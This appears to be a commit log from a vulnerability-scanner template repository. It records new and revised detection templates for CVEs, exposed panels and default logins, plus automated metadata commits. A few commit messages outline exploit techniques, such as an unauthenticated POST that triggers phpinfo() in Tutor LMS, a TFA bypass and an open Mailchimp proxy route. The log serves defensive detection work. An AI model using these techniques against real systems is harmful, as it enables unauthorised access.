ghost 2d45544696 chore: generate CVEs metadata 🤖 2026-09-07 00:27:47 +00:00
ghost e63d3068ab chore: sign templates 🤖 2026-09-07 00:27:06 +00:00
rahulreddykarneandRitik Chaddha 52d175886d Add CVE-2026-23693 - ElementsKit Lite <3.7.9 unauthenticated Mailchimp proxy (CWE-306) (#16705)
* Add CVE-2026-23693 (ElementsKit Lite <3.7.9 unauthenticated Mailchimp proxy)

Detects CVE-2026-23693, a missing-authorization (CWE-306) flaw in the ElementsKit Elementor Addons Lite (elementskit-lite) WordPress plugin before 3.7.9. The REST route /wp-json/elementskit/v1/widget/mailchimp/subscribe is registered without any authentication or capability check, so an unauthenticated attacker can drive Mailchimp API requests through the site (client-supplied credentials, insufficient `list` validation) — an open-proxy and API-quota-abuse condition.

Detection is behavioral rather than version-based: an unauthenticated POST is accepted (HTTP 200, application/json) on vulnerable versions, while 3.7.9+ rejects it (401 rest_forbidden). The probe sends bogus Mailchimp credentials so no real account or quota is touched.

Validated on a live LocalWP install: elementskit-lite 3.7.8 matched; 3.7.9 and later did not.

* Update CVE-2026-23693.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
2026-09-07 05:56:49 +05:30
Dhiyaneshwaran d9e7b1d501 Merge branch 'main' into patch-1 2026-09-07 05:07:23 +05:30
ghost 59ef5a254e chore: generate templates checksum 🤖 2026-09-06 23:28:33 +00:00
ghost 349195f1ac chore: generate new addition list 🤖 2026-09-06 23:28:31 +00:00
ghost af9553ea7a chore: sign templates 🤖 2026-09-06 23:27:55 +00:00
Roberto Nunes 49ab7d9830 Create nacos-v3-auth-scope-bypass.yaml - Nacos 3.x - Unauthenticated Admin Takeover (#17129)
* Create nacos-v3-auth-scope-bypass.yaml

* Update nacos-v3-auth-scope-bypass.yaml

* Update nacos-v3-auth-scope-bypass.yaml
2026-09-07 04:57:31 +05:30
ghost cf8d81a22c chore: generate templates checksum 🤖 2026-09-06 23:27:18 +00:00
ghost 5bb9dbdd49 chore: generate new addition list 🤖 2026-09-06 23:25:09 +00:00
ghost 5713e409cf chore: generate CVEs metadata 🤖 2026-09-06 23:24:34 +00:00
ghost 918fa189f8 chore: sign templates 🤖 2026-09-06 23:24:28 +00:00
Last-STRAKERandRoberto Nunes 75135afec3 Add CVE-2026-41452 template (#17061)
* Add CVE-2026-41452 template

* Revise CVE-2026-41452 False Positive Fix

Updated CVE-2026-41452 details including description, impact, and remediation for Krayin CRM vulnerabilities.

* Update CVE-2026-41452.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-07 04:54:07 +05:30
ghost fd3a718011 chore: generate new addition list 🤖 2026-09-06 23:23:41 +00:00
ghost b26de8f602 chore: generate CVEs metadata 🤖 2026-09-06 23:23:02 +00:00
Last-STRAKERandRoberto Nunes f19c01cf7e Add CVE-2026-0650 template (#17058)
* Add CVE-2026-0650 template

* Update CVE-2026-0650.yaml

---------

Co-authored-by: Roberto Nunes <[email protected]>
2026-09-07 04:52:40 +05:30
ghost c6e3cf0d71 chore: update EPSS scores 🤖 2026-09-06 02:04:30 +00:00
ghost a31210506f chore: update KEV and vKEV tags and metadata 🤖 2026-09-05 03:12:04 +00:00
ghost fe98d3a3eb chore: update EPSS scores 🤖 2026-09-05 02:04:31 +00:00
github-actions[bot] cae8325562 chore: add impact and remediation fields 🤖 2026-09-04 11:42:51 +00:00
ghost 27163547ba chore: generate new addition list 🤖 2026-09-04 11:42:43 +00:00
ghost dc9b51ba7c chore: generate CVEs metadata 🤖 2026-09-04 11:42:13 +00:00
Roberto NunesandDhiyaneshwaran f0058b333c Add Proxmox VE - Default Credentials with TFA Bypass (#17154)
* Add Proxmox VE default login vulnerability YAML

Added a YAML file for Proxmox VE default credentials with TFA bypass vulnerability details, including HTTP request and matchers.

* Update and rename http/default-logins/proxmox-ve-default-login.yaml to http/cves/2023/CVE-2023-54391.yaml

* Update CVE-2023-54391.yaml

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-09-04 18:41:42 +07:00
Eren-Akdag d0f8a2160e fix(caldera-c2): add detection for Caldera 5.x Magma UI
The template matched only '<title>Login | CALDERA</title>'. That title is
served by the 4.x line, where the root path routes to the landing handler and
renders login.html server-side with a 200 response.

Caldera 5.0 moved the web interface to the Vue-based Magma plugin. The root
path now returns the SPA shell titled '<title>Magma | Caldera</title>' and the
login form is drawn client-side, so the previous signature is absent from the
response body and 5.x instances were missed entirely.

Add the Magma title next to the existing one under condition: or, leaving the
status matcher and request count unchanged. The title is identical across
5.0.0, 5.1.0, 5.2.0 and 5.3.0, and the 4.x rendering path is unchanged in
4.0.0, 4.1.0 and 4.2.0, so both lines stay covered.

Validated against local instances: 4.2.0 still matches (no regression) and
5.3.0, previously undetected, is now reported. No match on unrelated web
applications used as false-positive controls.
2026-09-04 11:44:24 +03:00
Roberto Nunes f7fa7be97f Revise CVE-2026-53595 description and impact details
Updated CVE-2026-53595 details, including a more concise description of the vulnerability, impact, and remediation steps.
2026-09-04 12:56:35 +09:00
Roberto Nunes dd8487a245 Create CVE-2026-48558.yaml 2026-09-04 12:36:43 +09:00
ghost 0feb405bf3 chore: update KEV and vKEV tags and metadata 🤖 2026-09-04 03:13:06 +00:00
ghost a8581f8e1f chore: update EPSS scores 🤖 2026-09-04 02:04:28 +00:00
Roberto Nunes 926992d22c Update matchers in CVE-2026-72898.yaml 2026-09-04 10:19:32 +09:00
Icaro Torres 576204b71c Create apache-livy-detect.yaml
Detects a Apache Livy, a open source REST interface for interacting with Apache Spark from anywhere.
2026-09-03 22:07:22 -03:00
Icaro Torres 654e7972cd Create apache-livy-logs.yaml
Detects if the logs/metrics page of the Apache Livy server is exposed.
2026-09-03 22:05:52 -03:00
Jared Brits 3c45b5db5c Create modbus-detect.yaml 2026-09-03 16:33:49 -04:00
Gaurav Bhattacharjee 44cabe739f Add CVE-2026-19632 - TranslatePress Account Takeover
This template detects unauthenticated account takeover in TranslatePress <= 3.3.1
Reference: https://www.wordfence.com/threat-intel/vulnerabilities/id/4f4ebf09-b089-4118-a0ee-399243253f9c
2026-09-03 16:02:38 +05:30
Ashish Pulivarthy 4ad81b214c Add Penpot panel detection template 2026-09-03 14:59:37 +05:30
ghost 4f708d5ca2 chore: update KEV and vKEV tags and metadata 🤖 2026-09-03 04:27:41 +00:00
Roberto Nunes 68501bfa55 Update CVE-2026-44343.yaml 2026-09-03 11:43:54 +09:00
Roberto Nunes 0ebca19097 Update CVE-2026-41456.yaml 2026-09-03 11:38:54 +09:00
ghost 336abb9aca chore: update EPSS scores 🤖 2026-09-03 02:10:21 +00:00
Roberto Nunes f3753d5140 Update CVE-2026-29962.yaml 2026-09-03 11:04:02 +09:00
Roberto Nunes cc562c1b10 Update CVE-2026-44343.yaml 2026-09-03 10:50:30 +09:00
Roberto Nunes b9dd1d9b06 Create CVE-2026-41456.yaml 2026-09-03 10:18:00 +09:00
Sergio C.C. 1c40dc50bb Merge branch 'main' into siemens-s7-detect 2026-09-02 16:05:16 +02:00
ghost b98e6097cb chore: generate templates checksum 🤖 2026-09-02 07:52:15 +00:00
ghost c4cc85eac6 chore: generate new addition list 🤖 2026-09-02 07:50:11 +00:00
ghost 74d50f8fd1 chore: sign templates 🤖 2026-09-02 07:49:34 +00:00
Aman Rawat feebb556ab Merge pull request #17041 from K3ysTr0K3R/add-Fiberhome-router-detection-template
add Fiberhome detection template
2026-09-02 14:49:11 +07:00
Dhiyaneshwaran 8d58349a39 fix: move fiberhome-router-detect to technologies and update format
- Move from http/iot/ to http/technologies/ (standard location for tech detect)
- Add classification CPE, vendor/product metadata, shodan/fofa queries
- Update description to past tense with block scalar format
- Add host-redirects, tech/detect/discovery tags
2026-09-02 14:39:06 +07:00
Last-STRAKER f0d7cf48c3 Add CVE-2026-58123 template 2026-09-02 10:13:29 +03:00
Last-STRAKER 3f92f204b4 Add CVE-2026-53595 template 2026-09-02 10:13:22 +03:00
Last-STRAKER 33c48cceb9 Add CVE-2026-28411 template 2026-09-02 10:13:05 +03:00
Last-STRAKER 4e9e21217c Add CVE-2026-29962 template 2026-09-02 10:13:00 +03:00
Last-STRAKER 63c1eb6bd2 Add CVE-2026-44343 template 2026-09-02 10:12:54 +03:00
Adel Bouachraoui 0eafb0c5dc CVE-2022-27925 — add detection template 2026-09-02 08:41:22 +02:00
Roberto Nunes c950946857 Create CVE-2026-82222.yaml 2026-09-02 13:22:02 +09:00
ghost 22d5116558 chore: update KEV and vKEV tags and metadata 🤖 2026-09-02 03:13:08 +00:00
ghost c9f179b052 chore: update EPSS scores 🤖 2026-09-02 02:14:57 +00:00
ghost eac5e493f5 chore: generate templates checksum 🤖 2026-09-02 01:37:46 +00:00
ghost 70e128ef87 chore: generate new addition list 🤖 2026-09-02 01:36:55 +00:00
ghost 23895a2078 chore: generate new addition list 🤖 2026-09-02 01:36:53 +00:00
ghost 2479a87d1d chore: sign templates 🤖 2026-09-02 01:36:17 +00:00
Roberto Nunes 69c27f2616 Merge pull request #17044 from projectdiscovery/CVE-2026-57582
CVE-2026-57582 - GeoNetwork - Reflected Cross-Site Scripting
2026-09-02 10:35:55 +09:00
Roberto Nunes 4790f76d65 Merge pull request #17047 from projectdiscovery/CVE-2026-9586
CVE-2026-9586 - Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection
2026-09-02 10:35:49 +09:00
ghost 6e63bda533 chore: generate CVEs metadata 🤖 2026-09-02 01:35:17 +00:00
ghost f2d3322820 chore: sign templates 🤖 2026-09-02 01:35:10 +00:00
Roberto Nunes 4059ff675e Merge pull request #17048 from johnk3r/main
Create CVE-2026-82329
2026-09-02 10:34:49 +09:00
Last-STRAKER 98532922a5 Add CVE-2026-49468 template 2026-09-01 19:32:15 +03:00
Last-STRAKER 55d3c8e30d Add CVE-2026-42221 template 2026-09-01 19:27:11 +03:00
Last-STRAKER fe66cb7051 Add CVE-2026-21875 template 2026-09-01 19:27:05 +03:00
Last-STRAKER 75301fb1f9 Add CVE-2026-0692 template 2026-09-01 19:16:49 +03:00
Dhiyaneshwaran 9c39184bc0 Update and rename CVE-2026-82329 to CVE-2026-82329.yaml 2026-09-01 23:08:25 +07:00
johnk3r 069970be1c Create CVE-2026-82329 2026-09-01 12:56:20 -03:00
Dhiyaneshwaran a654cb4b99 CVE-2026-9586 - Sangoma Switchvox < 8.4.0.2 - Unauthenticated SQL Injection 2026-09-01 22:43:37 +07:00
Dishant4081 17e4444e01 Revise CVE-2026-63077 information and examples 2026-09-01 17:42:53 +05:30
ghost 0913e50df2 chore: generate templates checksum 🤖 2026-09-01 10:53:22 +00:00
ghost c0942c7f37 chore: generate new addition list 🤖 2026-09-01 10:51:36 +00:00
ghost c88486e8c6 chore: generate new addition list 🤖 2026-09-01 10:51:07 +00:00
ghost 2fb1d2d4c4 chore: generate CVEs metadata 🤖 2026-09-01 10:51:01 +00:00
ghost 16de85540b chore: sign templates 🤖 2026-09-01 10:50:55 +00:00
Aman Rawat 594f8573b0 Merge pull request #17042 from projectdiscovery/Akokonunes-patch-10
Create CVE-2025-51683.yaml - mJobTime <= 15.7.2 - Unauthenticated Blind SQL Injection to RCE
2026-09-01 17:50:35 +07:00
ghost 79a5fb4ae2 chore: sign templates 🤖 2026-09-01 10:50:26 +00:00
Aman Rawat e73d55914c Merge pull request #17038 from Aryu-RU/add-cve-2026-19092
Add CVE-2026-19092 - Tutor LMS < 4.0.6 - Unauthenticated Arbitrary PHP Function Invocation
2026-09-01 17:50:05 +07:00
Dhiyaneshwaran da446bc939 CVE-2026-57582 - GeoNetwork - Reflected Cross-Site Scripting 2026-09-01 17:02:58 +07:00
jankesec c2b54b82f4 Fix false positive on benign Next.js locale/i18n middleware redirects (CVE-2025-29927)
Refine http(1) baseline matchers to verify that the redirect target is an auth-related
location (auth/login/signin/admin/unauthorized), preventing benign Next.js i18n locale
redirects (e.g. / -> /en) from triggering false positive critical findings in base_check.

Closes #17019
2026-09-01 12:09:35 +03:00
ghost 0aa8ff80a5 chore: update EPSS scores 🤖 2026-09-01 02:07:21 +00:00
Roberto Nunes 6cad981e1a Update CVE-2026-19092.yaml 2026-09-01 10:51:54 +09:00
Roberto Nunes 7ae435d6c4 Create CVE-2025-51683.yaml 2026-09-01 09:20:57 +09:00
Jared Brits 231a51f841 Update tags in fiberhome-router-detect.yaml
Removed 'gpon' tag from Fiberhome router detection.
2026-08-31 18:05:37 -04:00
Jared Brits 87009979f1 Create gpon-router-detect.yaml 2026-08-31 17:42:37 -04:00
ghost 5a6c6d7139 chore: generate templates checksum 🤖 2026-08-31 18:14:45 +00:00
ghost 5c511135ae chore: generate new addition list 🤖 2026-08-31 18:12:29 +00:00
ghost 3ba66173ce chore: sign templates 🤖 2026-08-31 18:11:46 +00:00
CyberTechSeaandRitik Chaddha 439aff6f1e Add Drupal End-of-Life detection template (#16659)
* Add files via upload

Add Drupal End-of-Life detection template

* Update EOL detection notes for Drupal versions

Clarified detection notes for Drupal versions regarding EOL status and security updates.

* Update drupal-eol.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
2026-09-01 01:11:24 +07:00
Dishant4081 77c3a687bd fix: CVE-2026-4257 nested payload variable not resolved on nuclei v3.11.1 2026-08-31 15:51:55 +05:30
Dishant4081 e4cffc8b20 Fix CVE-2026-4257 YAML formatting and values 2026-08-31 15:46:21 +05:30
Dishant4081 d1927626fc Revise CVE-2026-4257 YAML details
Updated CVE-2026-4257 details including author, description, impact, remediation, and classification metrics.
2026-08-31 15:42:38 +05:30
Dishant4081 f76e5c1e47 Revise CVE-2026-4257 information and metrics
Updated CVE-2026-4257 details including severity, description, and remediation steps. Adjusted CVSS metrics and modified variable names for clarity.
2026-08-31 15:38:34 +05:30
ghost 74e8267021 chore: generate templates checksum 🤖 2026-08-31 05:58:04 +00:00
Aman Rawat 02cb32e2a6 Create CVE-2026-41679.yaml 2026-08-31 12:57:36 +07:00
ghost eb287cdfa5 chore: generate new addition list 🤖 2026-08-31 05:56:04 +00:00
ghost 691b92b53b chore: generate CVEs metadata 🤖 2026-08-31 05:55:35 +00:00
Aman Rawat 159f2196df Merge pull request #17036 from projectdiscovery/revert/cve-2026-41679
Revert: Remove CVE-2026-41679.yaml
2026-08-31 11:25:12 +05:30
Dhiyaneshwaran 745428d515 Revert "Create CVE-2026-41679.yaml"
This reverts commit 10d9385120.
2026-08-31 12:48:11 +07:00
ghost cf2db2505e chore: generate templates checksum 🤖 2026-08-31 05:46:54 +00:00
ghost 205e8028a7 chore: generate new addition list 🤖 2026-08-31 05:44:59 +00:00
ghost 74dd85d314 chore: generate CVEs metadata 🤖 2026-08-31 05:44:20 +00:00
ghost 07e3d56c38 chore: sign templates 🤖 2026-08-31 05:44:17 +00:00
Aman Rawat 10d9385120 Create CVE-2026-41679.yaml 2026-08-31 12:43:57 +07:00
ghost eaf96a3165 chore: generate templates checksum 🤖 2026-08-31 05:21:07 +00:00
ghost b2af608651 chore: generate new addition list 🤖 2026-08-31 05:18:51 +00:00
ghost 26ce45c988 chore: sign templates 🤖 2026-08-31 05:18:17 +00:00
Aman Rawat cb157d2aed Merge pull request #17028 from K3ysTr0K3R/add-gargoyle-router-detection
Add Gargoyle Router detection template
2026-08-31 10:47:55 +05:30
ghost 5218f69ec9 chore: generate new addition list 🤖 2026-08-31 05:12:47 +00:00
ghost f7a80e0990 chore: generate CVEs metadata 🤖 2026-08-31 05:12:12 +00:00
Aman Rawat c6a5d5c922 Merge pull request #16891 from iacker/CVE-2026-73034
feat: add CVE-2026-73034 DB-GPT <= 0.8.1 path traversal arbitrary file write
2026-08-31 10:41:49 +05:30
Roberto Nunes f11b767ca6 Create CVE-2026-8467.yaml 2026-08-31 13:47:28 +09:00
Aryu-RU 197f71e9f3 Add CVE-2026-19092 Tutor LMS unauthenticated arbitrary PHP function invocation
Tutor LMS before 4.0.6 extracts request data into the template scope, so an
unauthenticated POST to tutor_course_filter_ajax overwrites the $template
local in tutor_load_template() and then $method_map/$context inside
single-content-loader, reaching an arbitrary zero-argument function call.

The template invokes phpinfo() and matches its output, proving exploitation
rather than reading the installed version. Verified against 4.0.5 (match) and
against 4.0.6, 4.0.7 and a WordPress instance without the plugin (no match).
2026-08-31 03:50:54 +00:00
Aryu-RU 836ea3eaa1 fix(CVE-2025-29927): add missing matchers-condition to the bypass request
The second http block has two matchers, a negative matcher for WAF block
pages and a status 200 check, but no matchers-condition, so nuclei falls
back to or. On a patched host the negative matcher alone satisfies the
block; on a WAF block page the status check alone does. base_check()
returns true either way and the template reports critical.

Block 5 already expresses the same two conditions as one dsl matcher with
condition: and, so the intended semantics are unambiguous.

Fixes the false positive reported in #17019, and the one in #16782 which
was closed as fixed but still reproduces.
2026-08-31 03:22:38 +00:00
ghost 9e6ac6afa2 chore: update KEV and vKEV tags and metadata 🤖 2026-08-31 03:13:56 +00:00
Roberto Nunes c1b5fb820a Update siemens-s7-detect.yaml 2026-08-31 11:29:08 +09:00
ghost 6bffa2619b chore: update EPSS scores 🤖 2026-08-31 02:05:21 +00:00
Jared Brits 760d1e519c Merge branch 'main' into add-gargoyle-router-detection 2026-08-31 03:43:48 +02:00
Roberto Nunes dc428e8033 Update gargoyle-router-detect.yaml 2026-08-31 10:39:55 +09:00
Cole Munz 247a768d05 Fix hp-printer-default-login matching any 200 response as success
matchers-condition was set to or across a word matcher, a Set-Cookie
regex, and a bare status:200 matcher. Because status 200 alone is
enough under or, the template flags any successful HTTP response to
the login POST as a confirmed default-login vulnerable printer, even
a failed-login page reload, which HP EWS also serves with status 200.
Changed to and so a match now requires the admin-session body
evidence, the session cookie, and status 200 together.
2026-08-30 13:15:25 -05:00
SergioCc13 c1457b80ce Add Siemens SIMATIC S7 Series PLC detection template 2026-08-30 12:56:35 +02:00
Ritik Chaddha 7606f86af3 Update CVE-2026-73034.yaml 2026-08-30 17:08:12 +07:00
ghost 1da8a1f3ea chore: generate new addition list 🤖 2026-08-30 09:29:13 +00:00
ghost 101b520248 chore: generate templates checksum 🤖 2026-08-30 09:29:10 +00:00
ghost 1aa698a550 chore: generate CVEs metadata 🤖 2026-08-30 09:28:42 +00:00
ghost e51cb0045a chore: sign templates 🤖 2026-08-30 09:28:39 +00:00
Aman Rawat 7adcbc7e1c Merge pull request #16374 from projectdiscovery/CVE-2022-39258
Create CVE-2022-39258.yaml
2026-08-30 14:58:19 +05:30
ghost af2623905c chore: generate new addition list 🤖 2026-08-30 09:27:01 +00:00
ghost 8d46386abc chore: generate CVEs metadata 🤖 2026-08-30 09:26:25 +00:00
ghost e8050babc5 chore: sign templates 🤖 2026-08-30 09:26:22 +00:00
0f3a0f7047 Add CVE 2017 8225 - IP Camera (P2P) WIFICAM Credential Disclosure (#17029)
* Add Gargoyle Router Detection configuration

* Create CVE-2017-8225.yaml

* Update CVE-2017-8225.yaml

* Delete http/iot/gargoyle-router-detect.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-08-30 16:26:01 +07:00
ghost b19e7e1e42 chore: generate templates checksum 🤖 2026-08-30 09:22:34 +00:00
ghost d2204e89e1 chore: generate new addition list 🤖 2026-08-30 09:20:20 +00:00
ghost 0a9f3f4ce4 chore: generate CVEs metadata 🤖 2026-08-30 09:19:48 +00:00
ghost 32ce4014b6 chore: sign templates 🤖 2026-08-30 09:19:44 +00:00
991647ef5a Add CVE-2026-42596 template (#16803)
* Add CVE-2026-42596 template

* Update CVE-2026-42596.yaml

* Update CVE-2026-42596.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-08-30 16:19:21 +07:00
ghost a4c21c5588 chore: generate templates checksum 🤖 2026-08-30 09:15:00 +00:00
ghost d019b2306e chore: sign templates 🤖 2026-08-30 09:12:21 +00:00
Ritik Chaddha 6478a1e438 Merge pull request #16989 from ChrisJr404/add-signoz-panel-detection
Add SigNoz Panel detection template
2026-08-30 14:41:59 +05:30
ghost 9e14d974d7 chore: generate templates checksum 🤖 2026-08-30 08:43:58 +00:00
ghost cabc70da64 chore: generate new addition list 🤖 2026-08-30 08:42:05 +00:00
ghost 4d9e8b8715 chore: generate new addition list 🤖 2026-08-30 08:41:44 +00:00
ghost fd79cc6f5e chore: generate new addition list 🤖 2026-08-30 08:41:34 +00:00
ghost 86c86ed2f8 chore: sign templates 🤖 2026-08-30 08:41:23 +00:00
Ritik Chaddha 9b84f32267 Merge pull request #16998 from ChrisJr404/donetick-panel
Add Donetick panel detection template
2026-08-30 14:11:03 +05:30
Ritik Chaddha 4f561aee62 Merge pull request #16993 from ChrisJr404/dawarich-detect
Add Dawarich detection template
2026-08-30 14:10:47 +05:30
Ritik Chaddha 3a9538764c Merge pull request #16991 from ChrisJr404/add-romm-panel-template
Add RomM detection template
2026-08-30 14:10:36 +05:30
Ritik Chaddha ae0a43bec8 Update signoz-panel.yaml 2026-08-30 15:39:44 +07:00
ghost 3a09e9868a chore: generate templates checksum 🤖 2026-08-30 07:23:07 +00:00
ghost bbcd2d9122 chore: generate new addition list 🤖 2026-08-30 07:21:24 +00:00
ghost 39a25cc540 chore: generate new addition list 🤖 2026-08-30 07:20:59 +00:00
ghost 1daafcdc35 chore: sign templates 🤖 2026-08-30 07:20:50 +00:00
ghost 5f60413a4a chore: generate new addition list 🤖 2026-08-30 07:20:46 +00:00
Ritik Chaddha dbccd78ce7 Merge pull request #16987 from ChrisJr404/add-silverbullet-panel
Add SilverBullet detection template
2026-08-30 12:50:28 +05:30
ghost 5b1a065ff3 chore: sign templates 🤖 2026-08-30 07:20:23 +00:00
Ritik Chaddha 3633c1d864 Merge pull request #16983 from ChrisJr404/add-docmost-panel
Add Docmost detection template
2026-08-30 12:50:00 +05:30
Ritik Chaddha 3096485b2c Merge pull request #16979 from ChrisJr404/add-linkding-panel
Add linkding detection template
2026-08-30 12:49:50 +05:30
ghost 349f6a9fc1 chore: generate templates checksum 🤖 2026-08-30 07:19:33 +00:00
ghost 028b2f64aa chore: generate new addition list 🤖 2026-08-30 07:17:28 +00:00
ghost 94301640a9 chore: generate CVEs metadata 🤖 2026-08-30 07:16:56 +00:00
ghost 252b869695 chore: sign templates 🤖 2026-08-30 07:16:47 +00:00
Ritik Chaddha eb2abbc3df Merge pull request #16645 from iamatownboy/pr/cve-2026-0743
Add CVE-2026-0743 WP Content Permission template
2026-08-30 12:46:28 +05:30
Ritik Chaddha 5d1a9ce1f0 Update linkding-panel.yaml 2026-08-30 14:11:43 +07:00
Ritik Chaddha 8960e4e8bb Update CVE-2026-0743.yaml 2026-08-30 14:10:04 +07:00
ghost ede1f4634a chore: generate templates checksum 🤖 2026-08-30 06:18:36 +00:00
ghost 675152b29b chore: sign templates 🤖 2026-08-30 06:15:33 +00:00
Dhiyaneshwaran 9dad782ed5 fix: shorten verbose template descriptions to match repo convention (#17030) 2026-08-30 13:15:13 +07:00
ghost 59a9a6e236 chore: generate templates checksum 🤖 2026-08-30 05:59:39 +00:00
ghost a772f6bbe5 chore: generate new addition list 🤖 2026-08-30 05:57:33 +00:00
ghost 172a019958 chore: generate new addition list 🤖 2026-08-30 05:57:14 +00:00
github-actions[bot] 97aa715df3 chore: add impact and remediation fields 🤖 2026-08-30 05:57:07 +00:00
ghost f467477a15 chore: generate CVEs metadata 🤖 2026-08-30 05:57:03 +00:00
ghost 93dbd9c99c chore: sign templates 🤖 2026-08-30 05:56:56 +00:00
Aman Rawat 7e7661e97a Merge pull request #16818 from ye11oc4t/agent/cve-2026-9133
Add CVE-2026-9133 template
2026-08-30 11:26:35 +05:30
Aman Rawat cc4053b1e2 Merge pull request #16795 from str4k3r/str4k3r/cve-2026-55229
Add CVE-2026-55229 template
2026-08-30 11:26:16 +05:30
ghost f92d1fb1df chore: generate templates checksum 🤖 2026-08-30 05:49:36 +00:00
ghost e8c9077600 chore: generate new addition list 🤖 2026-08-30 05:47:35 +00:00
ghost 2f1f4e51e5 chore: sign templates 🤖 2026-08-30 05:46:55 +00:00
RootKaitoandDhiyaneshwaran 991bba2163 Add Chatwoot, Directus, Loki, and vmagent detection templates (#17027)
* chore: add new templates for exposed APIs and unauthenticated access detection

* chore: update Chatwoot Super Admin Panel template with verification and matcher adjustments

* fix: set correct author field on all templates

* fix: remove duplicate templates, rename IDs to follow conventions

- Remove jaeger-ui-exposed.yaml (duplicate of jaeger-ui-dashboard.yaml)
- Remove thanos-query-exposed.yaml (duplicate of thanos-prometheus-exposure.yaml)
- Rename directus-server-info-exposed -> directus-api-exposure
- Rename grafana-loki-unauth-api -> grafana-loki-api-exposure
- Rename victoriametrics-vmagent-exposed -> victoriametrics-vmagent-api-exposure
- Fix max-request mismatch in loki template (2 -> 1)
- Remove leftover TODO comments
- Set verified: true on cleaned-up templates

* chore: update vendor field in directus API exposure template and add header matcher for VictoriaMetrics vmagent

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2026-08-30 09:46:32 +04:00
github-actions[bot] 5f81e76978 chore: add impact and remediation fields 🤖 2026-08-30 03:34:59 +00:00
ghost 60950d3baa chore: generate new addition list 🤖 2026-08-30 03:34:54 +00:00
ghost eeed99ab8f chore: generate CVEs metadata 🤖 2026-08-30 03:34:21 +00:00
Roberto Nunes f65117e74e Merge pull request #16793 from str4k3r/str4k3r/cve-2026-44177
Add CVE-2026-44177 template
2026-08-30 12:34:00 +09:00
ghost 89f4c77f85 chore: update EPSS scores 🤖 2026-08-30 02:04:29 +00:00
Ritik Chaddha 16ce244302 Update CVE-2026-9133.yaml 2026-08-30 02:46:10 +07:00
Ritik Chaddha 24539168e7 Update CVE-2026-55229.yaml 2026-08-30 02:29:00 +07:00
Ritik Chaddha fca4881957 Update CVE-2026-44177.yaml 2026-08-30 02:10:12 +07:00
Jared Brits 4bb4b3eed5 Add Gargoyle Router Detection configuration 2026-08-29 14:12:27 -04:00
ghost 578e2309d1 chore: generate templates checksum 🤖 2026-08-29 10:10:15 +00:00
ghost 3df4ca5ec3 chore: generate CVEs metadata 🤖 2026-08-29 10:07:38 +00:00
ghost b78b60c84a chore: sign templates 🤖 2026-08-29 10:07:28 +00:00
Dhiyaneshwaran 48b00b205c Merge pull request #17024 from inokii/bug/cve-2026-41042-filename
Fix CVE-2026-41042 filename
2026-08-29 14:07:06 +04:00
Matthew Kienow 3d69e42460 Remove backtick from filename 2026-08-29 16:59:31 +07:00
ghost ad2c411039 chore: update EPSS scores 🤖 2026-08-29 02:04:18 +00:00
Chris b8334cc926 Add CVE-2026-81578 2026-08-29 01:11:15 +02:00
ghost ae91a75c96 chore: update KEV and vKEV tags and metadata 🤖 2026-08-28 05:44:37 +00:00
ghost 22248d4341 chore: update EPSS scores 🤖 2026-08-28 04:35:57 +00:00
ghost d546d8ad56 chore: generate templates checksum 🤖 2026-08-27 06:11:29 +00:00
ghost d4d9700e49 chore: generate new addition list 🤖 2026-08-27 06:09:23 +00:00
ghost 6cdb72649c chore: generate CVEs metadata 🤖 2026-08-27 06:08:47 +00:00
ghost 2a55830e1d chore: sign templates 🤖 2026-08-27 06:08:43 +00:00
Aman Rawat b9bf74de3b Merge pull request #17011 from projectdiscovery/CVE-2026-32475
CVE-2026-32475 - Elementor Pro <=4.2.1 - Unauthenticated Arbitrary File Upload via Form Handler
2026-08-27 11:38:21 +05:30
ghost c32669f657 chore: generate templates checksum 🤖 2026-08-27 05:25:30 +00:00
ghost ee54910e25 chore: generate new addition list 🤖 2026-08-27 05:23:22 +00:00
ghost 709ff43d6e chore: sign templates 🤖 2026-08-27 05:22:41 +00:00
Dhiyaneshwaran 61001fa301 Merge pull request #17014 from ChrisJr404/add-package-manager-credential-exposures
Add exposed package manager credential file templates
2026-08-27 09:22:22 +04:00
ghost fc790ed927 chore: generate templates checksum 🤖 2026-08-27 05:18:11 +00:00
Roberto Nunes eadc2ed9ab Rename nuget-config-credentials-exposure.yaml to nuget-config-exposure.yaml 2026-08-27 14:17:19 +09:00
ghost 62d66a7847 chore: generate new addition list 🤖 2026-08-27 05:16:05 +00:00
ghost 5ade05950a chore: sign templates 🤖 2026-08-27 05:15:32 +00:00
Dhiyaneshwaran dfd243107b Merge pull request #17018 from projectdiscovery/Akokonunes-patch-7
Add default login for Johnson Controls Frick Quantum HD
2026-08-27 09:15:07 +04:00
Roberto Nunes 317654a87d Rename maven-settings-credentials-exposure.yaml to maven-settings-xml-exposure.yaml 2026-08-27 14:13:09 +09:00
Dhiyaneshwaran 8063f22be3 Update johnson-controls-default-login.yaml 2026-08-27 09:09:14 +04:00
Dhiyaneshwaran 7109810058 Update and rename http/default-logins/johnson-controls-frick-quantum-hd-compressor-default-login.yaml to http/default-logins/johnson/johnson-controls-default-login.yaml 2026-08-27 09:07:07 +04:00
ghost d66691a7dd chore: update KEV and vKEV tags and metadata 🤖 2026-08-27 04:49:47 +00:00
ghost 4d61e1cee6 chore: generate templates checksum 🤖 2026-08-27 04:27:22 +00:00
Roberto Nunes a7b10e26f8 Update johnson-controls-frick-quantum-hd-compressor-default-login.yaml 2026-08-27 13:26:01 +09:00
Roberto Nunes 31aa71ac85 Update maven-settings-credentials-exposure.yaml 2026-08-27 13:25:10 +09:00
ghost 212c17c35d chore: generate new addition list 🤖 2026-08-27 04:25:04 +00:00
Roberto Nunes d0ac3a75a2 Update nuget-config-credentials-exposure.yaml 2026-08-27 13:24:50 +09:00
ghost 96a5c8895b chore: sign templates 🤖 2026-08-27 04:24:27 +00:00
Roberto Nunes 700ebedd83 Update johnson-controls-frick-quantum-hd-compressor-default-login.yaml 2026-08-27 13:24:18 +09:00
Dhiyaneshwaran b9fd0e635a Merge pull request #17013 from ChrisJr404/add-selfhosted-app-detect
Add detection templates for Vikunja, Mealie and Homebox
2026-08-27 08:24:05 +04:00
